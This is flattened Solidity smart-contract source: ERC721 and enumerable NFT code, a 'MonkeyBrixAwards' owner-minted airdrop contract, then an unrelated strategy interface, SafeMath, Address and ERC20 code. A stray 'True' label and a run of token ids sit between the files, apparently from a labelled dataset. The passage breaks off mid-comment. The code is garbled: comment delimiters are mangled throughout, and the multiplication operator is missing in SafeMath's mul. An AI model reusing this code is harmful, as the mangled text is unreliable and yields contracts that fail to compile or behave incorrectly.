See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /* * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } pragma solidity ^0.8.0; /* * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. / abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. / function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /* * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address / function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /* * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list / function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /* * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address / function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /* * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } pragma solidity ^0.8.0; contract MonkeyBrixAwards is ERC721Enumerable, Ownable{ using SafeMath for uint256; using Address for address; using Strings for uint256; uint16 public CURRENT_METAL = 0; uint16 public METAL_END = 529; uint16 public CURRENT_CRYSTAL = 530; uint16 public CRYSTAL_END = 549; uint256 public MAX_SUPPLY = 550; string private _baseURIExtended; mapping (uint256 => string) _tokenURIs; constructor() ERC721("MonkeyBrix Awards","MKBXA"){ } function airdrop(address[] memory receivers, uint8[] memory metalCounts, uint8[] memory crystalCounts) public onlyOwner{ require(receivers.length == metalCounts.length, "mismatched length"); require(metalCounts.length == crystalCounts.length, "mismatched length"); uint8 metalCount; uint8 crystalCount; address receiver; uint8 i; for (i=0; i<receivers.length; i++){ receiver = receivers[i]; metalCount = metalCounts[i]; mintMetal(receiver , metalCount); crystalCount = crystalCounts[i]; mintCrystal(receiver, crystalCount); } } function mintMetal(address receiver, uint8 count) public onlyOwner { uint8 i; uint16 tokenId; for (i = 0 ; i < count; i++){ require(CURRENT_METAL <= METAL_END, "reached end of METAL"); tokenId = CURRENT_METAL; CURRENT_METAL = CURRENT_METAL + 1; _safeMint(receiver, tokenId); } } function mintCrystal(address receiver, uint8 count) public onlyOwner{ uint8 i; uint16 tokenId; for (i = 0 ; i < count; i++){ require(CURRENT_CRYSTAL <= CRYSTAL_END, "reached end of crystal"); tokenId = CURRENT_CRYSTAL; CURRENT_CRYSTAL = CURRENT_CRYSTAL + 1; _safeMint(receiver, tokenId); } } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } function reserveTokens(address receiver, uint8 metalCount, uint8 crystalCount) public onlyOwner { mintCrystal(receiver, crystalCount); mintMetal(receiver, metalCount); } function _baseURI() internal view virtual override returns (string memory) { return _baseURIExtended; } // Sets base URI for all tokens, only able to be called by contract owner function setBaseURI(string memory baseURI_) external onlyOwner { _baseURIExtended = baseURI_; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory base = _baseURI(); return string(abi.encodePacked(base, tokenId.toString())); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 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// hevm: flattened sources of src/mith-mis-jar.sol pragma solidity >=0.6.0 <0.7.0 >=0.6.2 <0.7.0 >=0.6.7 <0.7.0; ////// src/interfaces/strategy.sol // SPDX-License-Identifier: MIT /* pragma solidity ^0.6.2; / interface IStrategy { function rewards() external view returns (address); function gauge() external view returns (address); function want() external view returns (address); function initiator() external view returns (address); function stakingContract() external view returns (address); function treasury() external view returns (address); function deposit() external; function withdrawForSwap(uint256) external returns (uint256); function withdraw(address) external; function withdraw(uint256) external; function skim() external; function withdrawAll() external returns (uint256); function balanceOf() external view returns (uint256); function getHarvestable() external view returns (uint256); function harvest() external; function setJar(address _jar) external; function setInitiator(address _initiator) external; function setStakingContract(address _stakingContract) external; function isWhitelisted(address _address) external view returns(bool); function addToWhiteList(address _address) external; function removeFromWhiteList(address _address) external; function execute(address _target, bytes calldata _data) external payable returns (bytes memory response); function execute(bytes calldata _data) external payable returns (bytes memory response); } ////// src/lib/context.sol // SPDX-License-Identifier: MIT / pragma solidity ^0.6.0; / / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } ////// src/lib/safe-math.sol // SPDX-License-Identifier: MIT / pragma solidity ^0.6.0; / /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } ////// src/lib/erc20.sol // File: contracts/GSN/Context.sol // SPDX-License-Identifier: MIT / pragma solidity ^0.6.0; / / import "./safe-math.sol"; / / import "./context.sol"; / // File: contracts/token/ERC20/IERC20.sol /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/utils/Address.sol /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/token/ERC20/ERC20.sol /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /* * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic 